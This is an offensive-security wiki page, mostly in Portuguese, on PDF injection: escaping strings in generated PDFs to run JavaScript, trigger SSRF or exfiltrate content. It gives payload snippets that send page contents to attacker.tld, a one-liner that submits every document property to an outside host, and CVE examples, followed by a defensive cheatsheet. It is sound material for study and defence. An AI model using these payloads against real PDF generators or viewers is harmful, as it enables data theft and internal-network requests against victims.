PDF Injection
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript, realizar SSRF ou roubar o conteúdo do PDF. A sintaxe PDF é extremamente permissiva – se você conseguir escapar da string ou do dicionário que está incorporando sua entrada, você pode anexar objetos totalmente novos (ou novas chaves no mesmo objeto) que o Acrobat/Chrome irá analisar sem problemas. Desde 2024, uma onda de relatórios de bug-bounty mostrou que um parêntese ou barra invertida não escapados são suficientes para execução completa de script.
TL;DR – Fluxo de Ataque Moderno (2024-2026)
- Encontre qualquer valor controlado pelo usuário que termine dentro de uma string entre parênteses,
/URI ( … )ou campo/JS ( … )no PDF gerado. - Injete
)(fechando a string) seguido por uma das primitivas abaixo e termine com outro parêntese de abertura para manter a sintaxe válida. - Entregue o PDF malicioso a uma vítima (ou a um serviço backend que renderiza o arquivo automaticamente – ótimo para bugs cegos).
- Seu payload roda no visualizador de PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (pode exfiltrar conteúdos arbitrários de arquivos com
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
O primeiro ) fecha a string URI original, em seguida adicionamos um novo dicionário Action que o Acrobat executará quando o usuário clicar no link.
Primitivos de Injeção Úteis
| Objetivo | Trecho de Payload | Notas |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Executa instantaneamente quando o documento é aberto (funciona no Acrobat, não no Chrome). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funciona no PDFium & Acrobat se você controlar uma anotação /Link. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combine com this.getPageNthWord dentro do JS para exfiltrar conteúdo. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Anexe ao dicionário Page/Annotation/Form para executar na abertura/foco. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Se a biblioteca permitir injetar caracteres de nova linha, você pode criar objetos totalmente novos. |
Ações Embutidas como Alvos de Injeção
PDF viewers treat embedded actions such as /OpenAction and /AA (Additional Actions) as first-class features that can run when a document opens or when a specific event fires. If you can inject into any dictionary that accepts actions (Catalog, Page, Annotation, or Form field), you can graft an /AA tree and trigger JavaScript on open/focus.
Example payload for generator-side object injection (close the original string/dictionary and inject /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Esse padrão corresponde a problemas recentes do jsPDF em que entrada controlada pelo atacante passada para addJS (ou certos campos AcroForm) escapa da string JavaScript pretendida e injeta um dicionário Additional Action.
Truque de Enumeração Cega
Gareth Heyes (PortSwigger) lançou um one-liner que enumera todos os objetos dentro de um documento desconhecido – útil quando você não consegue ver o PDF gerado:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
O código itera sobre o DOM do Acrobat e faz requisições de saída para cada par propriedade/valor, fornecendo um despejo quase JSON do arquivo. Veja o white-paper “Portable Data exFiltration” para a técnica completa.
Real-World Bugs (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: strings controladas pelo atacante podem fechar o literal JS e injetar ações/AA→/O→/JavaScriptque disparam ao abrir/focar. - CVE-2024-4367 – Execução arbitrária de JavaScript em PDF.js do Firefox anterior à 4.2.67 que contornou o sandbox com uma ação
/JavaScriptforjada. - Bug bounty 2024-05 – Uma grande fintech permitiu notas de fatura fornecidas pelo cliente que acabaram em
/URI; o relatório recebeu $10k depois de demonstrado SSRF para um host interno de metadata usando a URIfile:///. - CVE-2023-26155 –
node-qpdfcommand-injection via caminho de PDF não sanitizado mostra a importância de escapar backslashes e parênteses mesmo antes da camada PDF.
Defensive Cheatsheet
- Nunca concatene entrada crua do usuário dentro de
(…)strings ou nomes. Escape\,(,)conforme exigido pelo §7.3 da especificação PDF ou use hex strings<...>. - Se você gera links, prefira
/URI (https://…)que você codifique totalmente (URL-encode); bloqueie esquemasjavascript:em visualizadores clientes. - Remova ou valide dicionários
/OpenAction,/AA(ações adicionais),/Launch,/SubmitForme/ImportDataao pós-processar PDFs. - No lado do servidor, renderize PDFs não confiáveis com um conversor headless (ex.: qpdf –decrypt –linearize) que remova JavaScript e ações externas.
- Mantenha visualizadores PDF atualizados; PDF.js < 4.2.67 e Acrobat Reader antes dos patches de julho de 2024 permitem execução trivial de código.
- Se usar geradores do lado do cliente (ex.: jsPDF), nunca passe entrada não confiável para
addJSou setters de AcroForm que acabem dentro de dicionários de ações PDF.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (atualizado em maio de 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (abr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (fev 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (set 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


